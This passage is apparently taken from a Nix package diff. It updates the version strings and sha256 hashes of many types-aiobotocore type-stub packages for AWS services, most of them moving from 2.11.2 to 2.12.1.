"2.12.1" "sha256-dHKET+GhbmbRJzoziqtB2H1T36L9lFFU0HtNrPve4/o="; - types-aiobotocore-dms = buildTypesAiobotocorePackage "dms" "2.11.2" "sha256-1ZEKq3hLceAxXAM7PncqWR/XEri75Moyno/yg0szG+E="; + types-aiobotocore-dms = buildTypesAiobotocorePackage "dms" "2.12.1" "sha256-RIm9mkVCGtpMdib6ObpPxJgiME15tT9wm5UrQjLYicc="; - types-aiobotocore-docdb = buildTypesAiobotocorePackage "docdb" "2.11.2" "sha256-sFS4uLPnOltigByAzretunrrS/jabDft6tTX68+uXnI="; + types-aiobotocore-docdb = buildTypesAiobotocorePackage "docdb" "2.12.1" "sha256-F3BHJezYz2fHG/76JnOrc8J5jgAEJx82I+Lzhput4Bs="; - types-aiobotocore-docdb-elastic = buildTypesAiobotocorePackage "docdb-elastic" "2.11.2" "sha256-2Ay4Bx3txzhZMaOwFJRsTt7w3qCr2bS2KsoDg9Apxbk="; + types-aiobotocore-docdb-elastic = buildTypesAiobotocorePackage "docdb-elastic" "2.12.1" "sha256-GA13WEdMqY8SUctSK5o9N6B6F35RySbUQS7XxleRak0="; - types-aiobotocore-drs = buildTypesAiobotocorePackage "drs" "2.11.2" "sha256-j1tX8XGhYVRWw3XJosccmWRPLJRzjfoZpEsEWW8KrcU="; + types-aiobotocore-drs = buildTypesAiobotocorePackage "drs" "2.12.1" "sha256-oMsLU3UfvqACSteoKKALYNV2qnXnxDkmE+TaVJV9cG0="; - types-aiobotocore-ds = buildTypesAiobotocorePackage "ds" "2.11.2" "sha256-wUF8YcVlSop62Bqsr3yx7JnlLFOKZFY9ZOQPp+IArOY="; + types-aiobotocore-ds = buildTypesAiobotocorePackage "ds" "2.12.1" "sha256-2FfD3ck4faAK5s85ELfI1jPH7icQZh3a8ALDIGxpBz4="; - types-aiobotocore-dynamodb = buildTypesAiobotocorePackage "dynamodb" "2.11.2" "sha256-nBxKLHdId11mo/0P4LFgKRUoBXum2OHtJO7wjy0yK/o="; + types-aiobotocore-dynamodb = buildTypesAiobotocorePackage "dynamodb" "2.12.1" "sha256-mi1byiYu/T2h65HtTgygYXS1tNxiDhnsIH+FGGpFq1A="; - types-aiobotocore-dynamodbstreams = buildTypesAiobotocorePackage "dynamodbstreams" "2.11.2" "sha256-7/Yt+rhmXoJaTyXv/cApcI6GUE0bqYaIDaLlQr6/vlA="; + types-aiobotocore-dynamodbstreams = buildTypesAiobotocorePackage "dynamodbstreams" "2.12.1" "sha256-y7lR076HGKvwzK4AFExfys6yvddmHmH/h0Klb7ExIKw="; - types-aiobotocore-ebs = buildTypesAiobotocorePackage "ebs" "2.11.2" "sha256-g4soKEa22SWyE8Sq7lemBWMEjzvS47Xp3ykQoccWg6A="; + types-aiobotocore-ebs = buildTypesAiobotocorePackage "ebs" "2.12.1" "sha256-ji1opGGeCLCMvpYkbwKQ+bkEGkeV9ZhuxZ3uIcT4Vmk="; - types-aiobotocore-ec2 = buildTypesAiobotocorePackage "ec2" "2.11.2" "sha256-QbLjyIptZJoKm79byEABhg5TWPjbHTmq2ReibuC22+s="; + types-aiobotocore-ec2 = buildTypesAiobotocorePackage "ec2" "2.12.1" "sha256-Ep4MKh26Iv+2LE/BKQBF5gX539ujCIzb4uaeHdd3vK8="; - types-aiobotocore-ec2-instance-connect = buildTypesAiobotocorePackage "ec2-instance-connect" "2.11.2" "sha256-pk6rOYhNMnCTxlDpRC+b2TlWCTfr9sVrV/OVaTV4Tzo="; + types-aiobotocore-ec2-instance-connect = buildTypesAiobotocorePackage "ec2-instance-connect" "2.12.1" "sha256-UQJvL+kpS1A2ptVpWzDEBvLntIZiyLJu3IwASJQd+ik="; - types-aiobotocore-ecr = buildTypesAiobotocorePackage "ecr" "2.11.2" "sha256-BJp+XxIXv1LM6nQLyjo7cPHxU02SQHcace2Y4rb14ro="; + types-aiobotocore-ecr = buildTypesAiobotocorePackage "ecr" "2.12.1" "sha256-dOp+qRCpF+1hLgdlQTaLQcCEpST44ajxeJeepOwcU+U="; - types-aiobotocore-ecr-public = buildTypesAiobotocorePackage "ecr-public" "2.11.2" "sha256-6rVdyPkUOsr6mpfr1jlsbGt9WN+vVsRyzxG/WrpelyQ="; + types-aiobotocore-ecr-public = buildTypesAiobotocorePackage "ecr-public" "2.12.1" "sha256-wwcl/GCHz17YisIylvjtkMXiRlqcHX8pf3K0sy2GtL8="; - types-aiobotocore-ecs = buildTypesAiobotocorePackage "ecs" "2.11.2" "sha256-IvTlBjwLhphGUD/0uMkqePhEwStxj+YPVVMY12ElfvY="; + types-aiobotocore-ecs = buildTypesAiobotocorePackage "ecs" "2.12.1" "sha256-yVwVId7K3DLWTjgk3tLywZhgnAxFGEi2oAKfXfdO18w="; - types-aiobotocore-efs = buildTypesAiobotocorePackage "efs" "2.11.2" "sha256-jov1KwnZWbuMUpL3OVqrI+EHIR6WResabp20owGIvGA="; + types-aiobotocore-efs = buildTypesAiobotocorePackage "efs" "2.12.1" "sha256-hk9CLjWumjbT4EUGQnXytjgc6qgeCQAJx51d2TK6u9U="; - types-aiobotocore-eks = buildTypesAiobotocorePackage "eks" "2.11.2" "sha256-qTA88Wux/Ns7dHfRPwG1ZFWNTtSUGTcw6L+Nake+YGg="; + types-aiobotocore-eks = buildTypesAiobotocorePackage "eks" "2.12.1" "sha256-fGSU2Xx8VF/R3tFwqJlJGcgq4Mpv/NevgMsE0IVzRrY="; - types-aiobotocore-elastic-inference = buildTypesAiobotocorePackage "elastic-inference" "2.11.2" "sha256-POTPmu22698IeVAhpxh2kWk+OwTv2fBSm9KAhJ/MiQg="; + types-aiobotocore-elastic-inference = buildTypesAiobotocorePackage "elastic-inference" "2.12.1" "sha256-4SkFFVNIyY0vJjZ2uIwwyrN0LiOTj/6Oo1vWagRJtM4="; - types-aiobotocore-elasticache = buildTypesAiobotocorePackage "elasticache" "2.11.2" "sha256-LC5g7bf5jAc4Llo6rukPb2WYf5KqvUweQ52u2zsXAQE="; + types-aiobotocore-elasticache = buildTypesAiobotocorePackage "elasticache" "2.12.1" "sha256-5X5icBKyZRNawv5lJzfDcyD2tFC9eLlJNHogV3ZM3tQ="; - types-aiobotocore-elasticbeanstalk = buildTypesAiobotocorePackage "elasticbeanstalk" "2.11.2" "sha256-L3Pti+JnFCFGo+0v82sQK73aHKG5Lgbm6shPCvF4Wug="; + types-aiobotocore-elasticbeanstalk = buildTypesAiobotocorePackage "elasticbeanstalk" "2.12.1" "sha256-U9xp81RqyuAFNNYkYSjIpRBfsXKZanunVWAmAfR/ZVw="; - types-aiobotocore-elastictranscoder = buildTypesAiobotocorePackage "elastictranscoder" "2.11.2" "sha256-PdWptyC6jP53Lv8JDPMbD+KE32nXltpOeXOXt+yBqZk="; + types-aiobotocore-elastictranscoder = buildTypesAiobotocorePackage "elastictranscoder" "2.12.1" "sha256-Ggq93JeHa5+2hSwyHcFGRU7rMGHGPMAqaJPZj2KIUUU="; - types-aiobotocore-elb = buildTypesAiobotocorePackage "elb" "2.11.2" "sha256-PzGkhg0Ole3nVSkPzLzGhCXR7O6tQXQI/fyG/xWF5NU="; + types-aiobotocore-elb = buildTypesAiobotocorePackage "elb" "2.12.1" "sha256-LzHkiRKqmdD/iXZhJu1G9eLltFJcIFwBhgiLgywyOcA="; - types-aiobotocore-elbv2 = buildTypesAiobotocorePackage "elbv2" "2.11.2" "sha256-pxf7oIi/KDjuAJPKA/blGpBTtSsbW6VQR2GIIG4Xg6I="; + types-aiobotocore-elbv2 = buildTypesAiobotocorePackage "elbv2" "2.12.1" "sha256-g1ozRS44owh8ogisOE7ydF7omi9LPdXLxO2JaEWDmlg="; - types-aiobotocore-emr = buildTypesAiobotocorePackage "emr" "2.11.2" "sha256-nI1XjcxmEBZs63d9EO+rQfqyYQMOBJXOdLI+EaNZsgY="; + types-aiobotocore-emr = buildTypesAiobotocorePackage "emr" "2.12.1" "sha256-14akL+yzo3/uV9Qsdpewt4Y88ghxVbV9aL6e8Qe+FFo="; - types-aiobotocore-emr-containers = buildTypesAiobotocorePackage "emr-containers" "2.11.2" "sha256-i37s9KpOUqbO8xAgFtU0tNlSZUqvxQjI6D2mMmjbTOs="; + types-aiobotocore-emr-containers = buildTypesAiobotocorePackage "emr-containers" "2.12.1" "sha256-zOLyra/2uaqKl1t5Z2FVyLqtMmlYRZFN9HaCd+ocXi0="; - types-aiobotocore-emr-serverless = buildTypesAiobotocorePackage "emr-serverless" "2.11.2" "sha256-gaSCCHUbA5XqpXwls5f6LR9BfA/V4eECsRVfat+tLw0="; + types-aiobotocore-emr-serverless = buildTypesAiobotocorePackage "emr-serverless" "2.12.1" "sha256-clBwlUdU9v90NEm744l6OB3QHuB+aUC3kQjLuHNKFdU="; - types-aiobotocore-entityresolution = buildTypesAiobotocorePackage "entityresolution" "2.11.2" "sha256-sKRdHC1b4LhoHMo1ixwIEMFgKzn4oAMf7Hd4kPpAGNA="; + types-aiobotocore-entityresolution = buildTypesAiobotocorePackage "entityresolution" "2.12.1" "sha256-3onJrgPQlgcNGPIUypd/ke5y3j4qt6vWF0fVgcwYsOg="; - types-aiobotocore-es = buildTypesAiobotocorePackage "es" "2.11.2" "sha256-2mSA+/Ad1gok69+r7E/euPzKOj82e38Qn+sXWTfvoPk="; + types-aiobotocore-es = buildTypesAiobotocorePackage "es" "2.12.1" "sha256-pgQ7UDfnBaITqhrRoxze9jTLaxyUR2MubCWc+VfQS6c="; - types-aiobotocore-events = buildTypesAiobotocorePackage "events" "2.11.2" "sha256-tkrTtagj15JMTRSKD6qCqew4zo+i4IOl8KxBtgoREno="; + types-aiobotocore-events = buildTypesAiobotocorePackage "events" "2.12.1" "sha256-zdeJ+xc6KaAc0wcBsRQq49GvkK735LgTBHOKALjXPPk="; - types-aiobotocore-evidently = buildTypesAiobotocorePackage "evidently" "2.11.2" "sha256-Cj7UZddP4zWjKehjFL6S7c89hu6lZKe2muZ+vZQYLEA="; + types-aiobotocore-evidently = buildTypesAiobotocorePackage "evidently" "2.12.1" "sha256-BLolxhY1yHTi5jQajuJpBj7GtKAtxhVjkIN+X1yvGmY="; - types-aiobotocore-finspace = buildTypesAiobotocorePackage "finspace" "2.11.2" "sha256-nCFS8zPgut2AUT+e6ZKwa4mP2yUuSyWB4ouuqDZaJZY="; + types-aiobotocore-finspace = buildTypesAiobotocorePackage "finspace" "2.12.1" "sha256-Rc7iPcraCISAebFQzU+Yxll+fYwi5b2hYO/3d1I3RRY="; - types-aiobotocore-finspace-data = buildTypesAiobotocorePackage "finspace-data" "2.11.2" "sha256-5z1ek7Euei7r1XSygNM4qZEaDrGeC4XMFIeGvg9qJV0="; + types-aiobotocore-finspace-data = buildTypesAiobotocorePackage "finspace-data" "2.12.1" "sha256-B3RJZRLKtz+CBOnRo0YcqdHhUc3P1Owjk2EwNChrnK0="; - types-aiobotocore-firehose = buildTypesAiobotocorePackage "firehose" "2.11.2" "sha256-ATPvNRegT/EjVJCGY7sl6ayiMC8+B0GMyfQEpOnWfyI="; + types-aiobotocore-firehose = buildTypesAiobotocorePackage "firehose" "2.12.1" "sha256-D0+FLyDYDx4xroVaANmyQq5qLPGUdDfgPMtSKfVAiUg="; - types-aiobotocore-fis = buildTypesAiobotocorePackage "fis" "2.11.2" "sha256-PBRTNQeoBf8Sqd4zYQYJ4h/wZWHT1LY1LodceA4SzLU="; + types-aiobotocore-fis = buildTypesAiobotocorePackage "fis" "2.12.1" "sha256-C99pmPa7zV9DZrc9stWxV9EPbJXwxslMyynj2PhbtDA="; - types-aiobotocore-fms = buildTypesAiobotocorePackage "fms" "2.11.2" "sha256-83W6ys3ZBuC+RINAiqZZ9t9/pJVV6vSqW0w7B6cA9uw="; + types-aiobotocore-fms = buildTypesAiobotocorePackage "fms" "2.12.1" "sha256-/oj+/dwtRXH8WD5QWuxJTLfNfhqwJmdXJROHUzzzF68="; - types-aiobotocore-forecast = buildTypesAiobotocorePackage "forecast" "2.11.2" "sha256-nWsEp9VH2JsMnQrVRuALqc6EUjtfkge8E86XB6koHcE="; + types-aiobotocore-forecast = buildTypesAiobotocorePackage "forecast" "2.12.1" "sha256-POwSXbfBT9xTA+b2dNFv7ONfYSv+N/Td9FW7EPDYbmA="; - types-aiobotocore-forecastquery = buildTypesAiobotocorePackage "forecastquery" "2.11.2" "sha256-Sne3DwWkPz0CqmOlbxLcR9ooSW4soLSuNPNfs9L9pAo="; + types-aiobotocore-forecastquery = buildTypesAiobotocorePackage "forecastquery" "2.12.1" "sha256-twtNBD27WYeuJNI5FuA6C98b5wjkRJSRqHmZ1fmArAc="; - types-aiobotocore-frauddetector = buildTypesAiobotocorePackage "frauddetector" "2.11.2" "sha256-zQ50MEleTedxViEOOs2u5GJSs36zRw7crvMA3h7FLZU="; + types-aiobotocore-frauddetector = buildTypesAiobotocorePackage "frauddetector" "2.12.1" "sha256-YDub5fFJg5efes6BtnwVEKnKhbbmDuyFHNTQ6O7SgOI="; - types-aiobotocore-fsx = buildTypesAiobotocorePackage "fsx" "2.11.2" "sha256-VTjXUrEzhGuT2YjeTdY4IKxa/DxNmfnPEnZ7vQoAzKA="; + types-aiobotocore-fsx = buildTypesAiobotocorePackage "fsx" "2.12.1" "sha256-lsDu0YT6015Or5STid9M8mbLXWxu7UkKgQHwTkgwnpY="; - types-aiobotocore-gamelift = buildTypesAiobotocorePackage "gamelift" "2.11.2" "sha256-AgZvipboBZnhSlC7K0JRFpH8Z4pNPT2UfdXYjshxF8Y="; + types-aiobotocore-gamelift = buildTypesAiobotocorePackage "gamelift" "2.12.1" "sha256-SX7bzOCoV3v6+CVb1eBfm6AxLRivUJ1zbZtxZ7D1jvg="; - types-aiobotocore-gamesparks = buildTypesAiobotocorePackage "gamesparks" "2.6.0" "sha256-9iV7bpGMnzz9TH+g1YpPjbKBSKY3rcL/OJvMOzwLC1M="; + types-aiobotocore-gamesparks = buildTypesAiobotocorePackage "gamesparks" "2.7.0" "sha256-oVbKtuLMPpCQcZYx/cH1Dqjv/t6/uXsveflfFVqfN+8="; - types-aiobotocore-glacier = buildTypesAiobotocorePackage "glacier" "2.11.2" "sha256-qDj9RSbqHPpJ5yU+AXPeA+umbbSrf2Ssu1g0aiLvnMw="; + types-aiobotocore-glacier = buildTypesAiobotocorePackage "glacier" "2.12.1" "sha256-qKEzg0ruG6E8DPsi+xsJF5rbmcEraLrS0gQr3It8io0="; - types-aiobotocore-globalaccelerator = buildTypesAiobotocorePackage "globalaccelerator" "2.11.2" "sha256-Ef+Ujeoc7gSrtjNbPEd4Y1F1eP4c4WKwRBIbbiCe/d8="; + types-aiobotocore-globalaccelerator = buildTypesAiobotocorePackage "globalaccelerator" "2.12.1" "sha256-fjve8IEN0KcejFBwUxO1rstv8/CA0g0pS/0lxfnZx6k="; - types-aiobotocore-glue = buildTypesAiobotocorePackage "glue" "2.11.2" "sha256-CvNGo1MNUf4GONCR8cISV8eC/ZcTeI1hgqb5WB+aZnI="; + types-aiobotocore-glue = buildTypesAiobotocorePackage "glue" "2.12.1" "sha256-JYo3D3i2FtCKUatnLyDWW8YGB9u0SzQwDeC0tIBULms="; - types-aiobotocore-grafana = buildTypesAiobotocorePackage "grafana" "2.11.2" "sha256-Nv4t50tCoOFp7GhVhNkUldUyQsTj7aY0QnfXzIl0BfY="; + types-aiobotocore-grafana = buildTypesAiobotocorePackage "grafana" "2.12.1" "sha256-fByRGOJ1TnfnPB6czGYyjvKOop6chA7fiatsVPKCxys="; - types-aiobotocore-greengrass = buildTypesAiobotocorePackage "greengrass" "2.11.2" "sha256-FvrpT2aOOD93rSy3c8VoUQAt9q0pgvoL1PaBccSCw00="; + types-aiobotocore-greengrass = buildTypesAiobotocorePackage "greengrass" "2.12.1" "sha256-QhTA5b8q6LDdHVeN0M0mT/XLKTfDHIY71EXUCtSCqbI="; - types-aiobotocore-greengrassv2 = buildTypesAiobotocorePackage "greengrassv2" "2.11.2" "sha256-x9x7Hmrm6XTDrFKT2ZmMy3kaRFAu22TEe3Miv2F6H0g="; + types-aiobotocore-greengrassv2 = buildTypesAiobotocorePackage "greengrassv2" "2.12.1" "sha256-b6DO2ZGOBzPZ311Fj+il6pkBmSXPKe12Ssua9T/mdjs="; - types-aiobotocore-groundstation = buildTypesAiobotocorePackage "groundstation" "2.11.2" "sha256-eds5ZF/JpTaZyEg91RkID5sjy6gBVnixvNOUkO/gStU="; + types-aiobotocore-groundstation = buildTypesAiobotocorePackage "groundstation" "2.12.1" "sha256-XzlCvtOwGPUQEkU1HiGYeeAWuRAQpRnXDcgyblykJEE="; - types-aiobotocore-guardduty = buildTypesAiobotocorePackage "guardduty" "2.11.2" "sha256-zj0sU8OWIFHKD/A4fbGytLeNQhyfdEg/ANSfM74ySrk="; + types-aiobotocore-guardduty = buildTypesAiobotocorePackage "guardduty" "2.12.1" "sha256-Y3FDX5NPe+s0CBawE0OsXaIBPhe4wfEoLOEhDLRl6Sc="; - types-aiobotocore-health = buildTypesAiobotocorePackage "health" "2.11.2" "sha256-r+oyRLvZP0H5UOmW0UK9qRNDLCPhvsUQrsO2DGA01Lk="; + types-aiobotocore-health = buildTypesAiobotocorePackage "health" "2.12.1" "sha256-/Dn89WzfH67/4MFpkCHW5FGNdKDR5xAqZogAoo0uTb0="; - types-aiobotocore-healthlake = buildTypesAiobotocorePackage "healthlake" "2.11.2" "sha256-gg4maW0abnPj+1+qJCykrjdS0c7Lb71H3zhQPMltZcQ="; + types-aiobotocore-healthlake = buildTypesAiobotocorePackage "healthlake" "2.12.1" "sha256-K05QqhDzTN9S4xz9nYX/HMjtYQPRsUjo/lua+15kreA="; - types-aiobotocore-honeycode = buildTypesAiobotocorePackage "honeycode" "2.11.2" "sha256-h+Mi42MOl8GHLdVJUu024Y5ICtQcHVY6odyxH/eAl1g="; + types-aiobotocore-honeycode = buildTypesAiobotocorePackage "honeycode" "2.12.1" "sha256-N/RNj96TYYIEF8tM4T1O9A386rWpey7vNeENARYuVR4="; - types-aiobotocore-iam = buildTypesAiobotocorePackage "iam" "2.11.2" "sha256-fXk5xj6lJPosnlUBTcPM0dwYv+TEf2OeXcZQEKrK2cY="; + types-aiobotocore-iam = buildTypesAiobotocorePackage "iam" "2.12.1" "sha256-m297NaucGsLk8wkezGmktS5L7dtvEHAclGDYo2LhOy0="; - types-aiobotocore-identitystore = buildTypesAiobotocorePackage "identitystore" "2.11.2" "sha256-T/91ZTr/RsNj2WcwvlC8QVbglJgH3yu0hTDh0kb3Euk="; + types-aiobotocore-identitystore = buildTypesAiobotocorePackage "identitystore" "2.12.1" "sha256-IpOR07RxE9OSF5Ia4haHw/N/SMIL6QWqNfmqhZrh5WI="; - types-aiobotocore-imagebuilder = buildTypesAiobotocorePackage "imagebuilder" "2.11.2" "sha256-tZHFF9JmYUJ+0mFXuWBHNfi+kEhi46J3jjTnA17B9V0="; + types-aiobotocore-imagebuilder = buildTypesAiobotocorePackage "imagebuilder" "2.12.1" "sha256-SHfM9cerQSj7NmBHkC++6U5O9jOM3O0wWUXnu58nmRU="; - types-aiobotocore-importexport = buildTypesAiobotocorePackage "importexport" "2.11.2" "sha256-E2Roi3zEeim9R0fXXwgi+bEB9bDBC2Eev2lI/6Lfrmw="; + types-aiobotocore-importexport = buildTypesAiobotocorePackage "importexport" "2.12.1" "sha256-sflWs79vrb2/CW+Xnh/94qe97plOyzXqwn+wzYHRNrk="; - types-aiobotocore-inspector = buildTypesAiobotocorePackage "inspector" "2.11.2" "sha256-Isl+sNzDxiv3sTuBkL8MkcaZW1yB8O6j7kTXGPgcHW4="; + types-aiobotocore-inspector = buildTypesAiobotocorePackage "inspector" "2.12.1" "sha256-EpF8oSl8c2CCf6c+R2Y+hvlfjGqxtLJfMFuABrUbb0c="; - types-aiobotocore-inspector2 = buildTypesAiobotocorePackage "inspector2" "2.11.2" "sha256-Nq2mUWIzziku4bcyjZQA9/luP8q0tyGOkNdHr1Rem80="; + types-aiobotocore-inspector2 = buildTypesAiobotocorePackage "inspector2" "2.12.1" "sha256-/WC/HvLK+BYcWWRvoNaLPwVoFSnTEDedqOA1zqiNYh4="; - types-aiobotocore-internetmonitor = buildTypesAiobotocorePackage "internetmonitor" "2.11.2" "sha256-g8CL+bL2P4STnx6937WNozQ1QL2EWjCMrTjS+jYTPCI="; + types-aiobotocore-internetmonitor = buildTypesAiobotocorePackage "internetmonitor" "2.12.1" "sha256-nnvd49vG1ZofJbWAnr1ZUsSFT4Jgmnde4mTVb8bjX8w="; - types-aiobotocore-iot = buildTypesAiobotocorePackage "iot" "2.11.2" "sha256-QKhDQUOfoFJTzJn5cG8USV2503MzPHE5jFlHqMKhn/A="; + types-aiobotocore-iot = buildTypesAiobotocorePackage "iot" "2.12.1" "sha256-0/b7nYgrFnOComNlfvx0c+phkqsLTlQBQGubp1Md1AU="; - types-aiobotocore-iot-data = buildTypesAiobotocorePackage "iot-data" "2.11.2" "sha256-+UFQoQI1ZHQHryki1SZi6SRyEQHImAxmFsL9MHuY+Hk="; + types-aiobotocore-iot-data = buildTypesAiobotocorePackage "iot-data" "2.12.1" "sha256-FRCda6jDLcl1tI6PwTaYydY3jzrtJvmYlKvyCR766fM="; - types-aiobotocore-iot-jobs-data = buildTypesAiobotocorePackage "iot-jobs-data" "2.11.2" "sha256-ZZyQXut8dYT2uTYrrugoHd4DPNDHz53uCbIcUc1ibD8="; + types-aiobotocore-iot-jobs-data = buildTypesAiobotocorePackage "iot-jobs-data" "2.12.1" "sha256-OkKiROSuCZ1Dy2/Jeoby0J3obSRRXToTUUUfY2bwlVk="; - types-aiobotocore-iot-roborunner = buildTypesAiobotocorePackage "iot-roborunner" "2.11.2" "sha256-65n/QRMNxmXysRtdQajwAN2yX00MpcM6045M65k3fQ8="; + types-aiobotocore-iot-roborunner = buildTypesAiobotocorePackage "iot-roborunner" "2.12.1" "sha256-Mstavqb84CltIUmh5aw+Q5+6+w90ErjP9MYlsFrQSZQ="; - types-aiobotocore-iot1click-devices = buildTypesAiobotocorePackage "iot1click-devices" "2.11.2" "sha256-n01JfOuAJa1M1lxV/IjM1w7kws8UpfI5/Wx5jxqrB9w="; + types-aiobotocore-iot1click-devices = buildTypesAiobotocorePackage "iot1click-devices" "2.12.1" "sha256-+JiJr+Vvn1MZEKtRAtNNTlv9JEiX4hCzF0mcrCZBnvY="; - types-aiobotocore-iot1click-projects = buildTypesAiobotocorePackage "iot1click-projects" "2.11.2" "sha256-8pX6X71farX+IXR/LSfEU1LNul2/T7qCnAXwsuGBZI4="; + types-aiobotocore-iot1click-projects = buildTypesAiobotocorePackage "iot1click-projects" "2.12.1" "sha256-044QFOHWRDFqiOA/JQ904BO46+P+/GWyqJrW+FyFs+w="; - types-aiobotocore-iotanalytics = buildTypesAiobotocorePackage "iotanalytics" "2.11.2" "sha256-JAUUApgPoSlv8ZJY+WX3+Aetey7SXIpqxWs3gbrgW3c="; + types-aiobotocore-iotanalytics = buildTypesAiobotocorePackage "iotanalytics" "2.12.1" "sha256-2ZCngNUtPYX1m173bPtZ9Xn4t8bVSZ4IQG2Rlux/aAs="; - types-aiobotocore-iotdeviceadvisor = buildTypesAiobotocorePackage "iotdeviceadvisor" "2.11.2" "sha256-AieTPU2zw4m7cFITd3udE03Yq/wlZFuwOCVb9vy83vk="; + types-aiobotocore-iotdeviceadvisor = buildTypesAiobotocorePackage "iotdeviceadvisor" "2.12.1" "sha256-9Zby+hIaVQuoqHcSRulQ8+F4RIgTHzfNPSUcEm6x430="; - types-aiobotocore-iotevents = buildTypesAiobotocorePackage "iotevents" "2.11.2" "sha256-kLODxMyHr7oo9LruKVl2ncg5Fi8GkSEfKoe2VqmbEeI="; + types-aiobotocore-iotevents = buildTypesAiobotocorePackage "iotevents" "2.12.1" "sha256-eIGobenbMUDi7cuh28zbb2BP6IIsAxmOU6sj5dSJwbU="; - types-aiobotocore-iotevents-data = buildTypesAiobotocorePackage "iotevents-data" "2.11.2" "sha256-uVsWsZy8xAISqNpPN7qctpxhfkaS4XXshG+iCpSqi58="; + types-aiobotocore-iotevents-data = buildTypesAiobotocorePackage "iotevents-data" "2.12.1" "sha256-yWAqc6peQ/fpKo9aokUzSHAq4PCuwKGzYUUsnxVEuCU="; - types-aiobotocore-iotfleethub = buildTypesAiobotocorePackage "iotfleethub" "2.11.2" "sha256-+mmy4nqLxHuQ1xxgztft0g3uyoNXd56C6wwL7aQ2ono="; + types-aiobotocore-iotfleethub = buildTypesAiobotocorePackage "iotfleethub" "2.12.1" "sha256-/G5zzVrwFwalyD/k0liRV0jI+zREXYEu35d8sQutKIc="; - types-aiobotocore-iotfleetwise = buildTypesAiobotocorePackage "iotfleetwise" "2.11.2" "sha256-57fg4yeNePHkyvFN1rrGn0zh576dPAFkqroSm+Tp7Tc="; + types-aiobotocore-iotfleetwise = buildTypesAiobotocorePackage "iotfleetwise" "2.12.1" "sha256-c9z+iY9RNWFO3U+88O+FQPGLMbFTtOUrXu7E5Iq5n8g="; - types-aiobotocore-iotsecuretunneling = buildTypesAiobotocorePackage "iotsecuretunneling" "2.11.2" "sha256-hvJs4KzaTK2ougi16IrVhD9kHnHl7HN4xLhUqVcDNQg="; + types-aiobotocore-iotsecuretunneling = buildTypesAiobotocorePackage "iotsecuretunneling" "2.12.1" "sha256-2PstSZB2bk+Sz9q9DsNX0GoVGFwiYx/YOjlH1wZchXk="; - types-aiobotocore-iotsitewise = buildTypesAiobotocorePackage "iotsitewise" "2.11.2" "sha256-qOfVU9YH1xYLORFeeSBAE8biTHvpiBcgzvvQXZYvtmI="; + types-aiobotocore-iotsitewise = buildTypesAiobotocorePackage "iotsitewise" "2.12.1" "sha256-lgn9uGyoyF5CAgOOpHRGdjMjb78u9EQ0Nf9QTzyyW5U="; - types-aiobotocore-iotthingsgraph = buildTypesAiobotocorePackage "iotthingsgraph" "2.11.2" "sha256-XrLIkbqPoCOch+J8Gt9z4JP+4tyA7qkcqDMv+lF4Qe8="; + types-aiobotocore-iotthingsgraph = buildTypesAiobotocorePackage "iotthingsgraph" "2.12.1" "sha256-Fy+88mBmjUgnRUqM2VLvvI5SWuY04o1aq4WHNk69B7w="; - types-aiobotocore-iottwinmaker = buildTypesAiobotocorePackage "iottwinmaker" "2.11.2" "sha256-+C/oOZEJ/qqu3YhDgrr8evDEBN63QAT6P6nes3T7sSI="; + types-aiobotocore-iottwinmaker = buildTypesAiobotocorePackage "iottwinmaker" "2.12.1" "sha256-yhSsgqu/fPILYTEOuL+1g5bKC3V7nyegYg8WPO8/vQI="; - types-aiobotocore-iotwireless = buildTypesAiobotocorePackage "iotwireless" "2.11.2" "sha256-BTvtuBIj05XJLe2XXkxeZbddmevzXAoxylfpEE0L3PY="; + types-aiobotocore-iotwireless = buildTypesAiobotocorePackage "iotwireless" "2.12.1" "sha256-y4nUuqr++tjN7/JT0cYM5aY01iOGNXU57fjZUTJuP5E="; - types-aiobotocore-ivs = buildTypesAiobotocorePackage "ivs" "2.11.2" "sha256-dxovawH56iI3UmWpUTPl3utJOp1XGYk6AVGTTq03Aa4="; + types-aiobotocore-ivs = buildTypesAiobotocorePackage "ivs" "2.12.1" "sha256-vXYET71jHEMKdA6mFFVjjv1uK4tREDu5vXfXh5dOwZA="; - types-aiobotocore-ivs-realtime = buildTypesAiobotocorePackage "ivs-realtime" "2.11.2" "sha256-hYrdXBE0DQy0k0TM0WpuxSIvmnq5dF2nyy+RHt7q5QM="; + types-aiobotocore-ivs-realtime = buildTypesAiobotocorePackage "ivs-realtime" "2.12.1" "sha256-mr+I1UbBSvw6y33vuSwaqCyT33zA1LhJmsvnkYL6970="; - types-aiobotocore-ivschat = buildTypesAiobotocorePackage "ivschat" "2.11.2" "sha256-yRPTeOjvFUaU0Pt4IydYSHNZvf4egj0jNj9uF9Z3s3w="; + types-aiobotocore-ivschat = buildTypesAiobotocorePackage "ivschat" "2.12.1" "sha256-OXY0CRbaYPyOw68acgRJ0bHiy96dc70f30PbC8X7gSY="; - types-aiobotocore-kafka = buildTypesAiobotocorePackage "kafka" "2.11.2" "sha256-qcNqcSME1ihk5i0cjoe4XsEiM9oafjYNaESU8zxaNp8="; + types-aiobotocore-kafka = buildTypesAiobotocorePackage "kafka" "2.12.1" "sha256-knkfB2mafoeDKpNdnAZoOgcym/Qd3JraROwqneN9GPg="; - types-aiobotocore-kafkaconnect = buildTypesAiobotocorePackage "kafkaconnect" "2.11.2" "sha256-gkPedqkyaElW78yq7xC0Afswcs2SAiAPgKuFMOqpr+A="; + types-aiobotocore-kafkaconnect = buildTypesAiobotocorePackage "kafkaconnect" "2.12.1" "sha256-40wG7JtuSibwSMl0XCeOxvJlYKBNc6SmyrxHYRLYtxc="; - types-aiobotocore-kendra = buildTypesAiobotocorePackage "kendra" "2.11.2" "sha256-2Gqu/wamqCf8r7XQjMotNVesvlQQKFY+v2qhFGEq7Bs="; + types-aiobotocore-kendra = buildTypesAiobotocorePackage "kendra" "2.12.1" "sha256-MqwoPPEnEv7uLRE+U5vFge2vr3/g5iYnyztbKJ9/ATc="; - types-aiobotocore-kendra-ranking = buildTypesAiobotocorePackage "kendra-ranking" "2.11.2" "sha256-TVhSsL/6ZZImHdwIi66UsS6WxnDb1ZSJO09QdZiazbI="; + types-aiobotocore-kendra-ranking = buildTypesAiobotocorePackage "kendra-ranking" "2.12.1" "sha256-P25wxbzWNmFdcCR6eX+M27jMqQzCdM4L1AerLzltIUg="; - types-aiobotocore-keyspaces = buildTypesAiobotocorePackage "keyspaces" "2.11.2" "sha256-VTi7r0qB1O4zaS/VnZ+dItsOLbvZytEhzYO6yO5WoQg="; + types-aiobotocore-keyspaces = buildTypesAiobotocorePackage "keyspaces" "2.12.1" "sha256-eMucpOTz1CpzfAuJIyAkR1Kr0qF1F5B03qpcNHR6c/Y="; - 